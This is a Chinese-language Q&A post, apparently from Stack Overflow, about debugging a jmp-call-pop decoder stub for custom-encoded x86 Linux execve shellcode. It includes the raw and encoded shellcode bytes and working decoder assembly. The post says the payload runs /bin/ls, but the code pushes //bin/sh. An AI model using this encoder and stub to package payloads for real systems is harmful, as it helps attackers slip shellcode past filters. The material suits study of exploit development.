自定义编码器的英特尔 x86 (IA32) 汇编解码器存根未按预期工作

Intel x86 (IA32) assembly decoder stub for custom encoder not working as expected

我编写了一个自定义编码器,它以这种方式对我的 shellcode 进行编码:

首先它反转(交换)原始 shellcode 中的所有相邻字节,然后它用值“0xaa”对每个字节进行异或 - 我做了所有完整性检查以确保我的原始 shellcode 没有这个值,这可能破坏我的 shellcode(通过编码导致错误字符)。我的编码器输出:

Original Shellcode( 25 Bytes) :
0x31,0xc0,0x50,0x68,0x2f,0x2f,0x6c,0x73,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x50,0x89,0xe2,0x53,0x89,0xe1,0xb0,0xb,0xcd,0x80,

Step1(Reverse adjacent Bytes)-Encoded Shellcode( 25 Bytes) :
0xc0,0x31,0x68,0x50,0x2f,0x2f,0x73,0x6c,0x2f,0x68,0x69,0x62,0x89,0x6e,0x50,0xe3,0xe2,0x89,0x89,0x53,0xb0,0xe1,0xcd,0xb,0x80,

Step2(XOR-each-BYTE-with-0xaa)-Encoded Shellcode( 25 Bytes) :
0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,

我原来的 shellcode 的目的:它只是使用“execve”系统调用在 Linux 系统上执行 /bin/ls。完整代码:

global _start

section .text
_start:

        ; PUSH the first null dword
        xor eax, eax
        push eax


        ; PUSH //bin/sh (8 bytes)

        push 0x68732f2f
        push 0x6e69622f


        mov ebx, esp

        push eax
        mov edx, esp

        push ebx
        mov ecx, esp


        mov al, 11
        int 0x80


为了执行 shellcode,我正在练习如何编写解码器存根,它将解码我自定义编码的 shellcode,然后在目标机器上执行它。

这是我的解码器存根汇编代码:

global _start

section .text

_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov cl, 12

        jmp short call_decoder

; first : decode by XOR again with same value 0xaa
decode1:
        pop esi
        xor byte [esi], 0xaa
        jz decode2
        inc esi
        jmp short decode1

; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
        pop esi
        mov bl, byte [esi + eax]
        mov dl, byte [esi + eax + 1]
        xchg bl, dl
        mov byte [esi + eax], bl
        mov byte [esi + eax + 1], dl
        add al, 2
        loop decode2
        ; execute Shellcode
        jmp short Shellcode

call_decoder:
        call decode1
        ; an extra byte 0xaa added at the end of encoded shellcode, as a marker to end of shellcode bytes.
        Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa

但是上面的代码给了我一个segment fault。我无法在 gdb debugger 上找到故障点。需要一些帮助来解决我做错的事情。

根据@prl 的评论,这些是我在解码器存根中所做的更改,现在它按预期工作:

global _start

section .text

; initialize registers
_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        xor edx, edx
        mov cl, 12
        jmp short call_decoder

; set starting address of Shellcode in esi register
decoder:
        pop esi
        mov edi, esi

; first: decode by XOR again with same value 0xaa 
decode1:
        xor byte [edi], 0xaa
        jz decode2
        inc edi
        jmp short decode1

; second: rearrange the reversed adjacent BYTES, as part of encoding
decode2:
        mov bl, byte [esi + eax]
        mov dl, byte [esi + eax + 1]
        xchg bl, dl
        mov byte [esi + eax], bl
        mov byte [esi + eax + 1], dl
        add al, 2
        loop decode2

        jmp short Shellcode

call_decoder:
        call decoder
        Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a,0xaa

编辑2: 一个更简洁和更好看的代码——也不需要硬编码 Shellcode 的长度:

global _start

section .text

_start:
        xor eax, eax
        xor ebx, ebx
        xor ecx, ecx
        jmp short call_decoder

decoder:
        pop esi
        mov cl, codeLen
        dec cl

decode:
        cmp al, cl
        jz last_byte_odd
        xor byte [esi + eax], 0xaa
        mov bl, byte [esi + eax]
        xor byte [esi + eax + 1], 0xaa
        xchg byte [esi + eax + 1], bl
        mov byte [esi + eax], bl
        add al, 1
        cmp al, cl
        jz Shellcode
        add al, 1
        jmp short decode


last_byte_odd:
        xor byte [esi + eax], 0xaa
        jmp short Shellcode

call_decoder:
        call decoder
        Shellcode: db 0x6a,0x9b,0xc2,0xfa,0x85,0x85,0xd9,0xc6,0x85,0xc2,0xc3,0xc8,0x23,0xc4,0xfa,0x49,0x48,0x23,0x23,0xf9,0x1a,0x4b,0x67,0xa1,0x2a
        codeLen         equ $-Shellcode

我把它留给 low levelshell-coding 爱好者来破译其中的逻辑。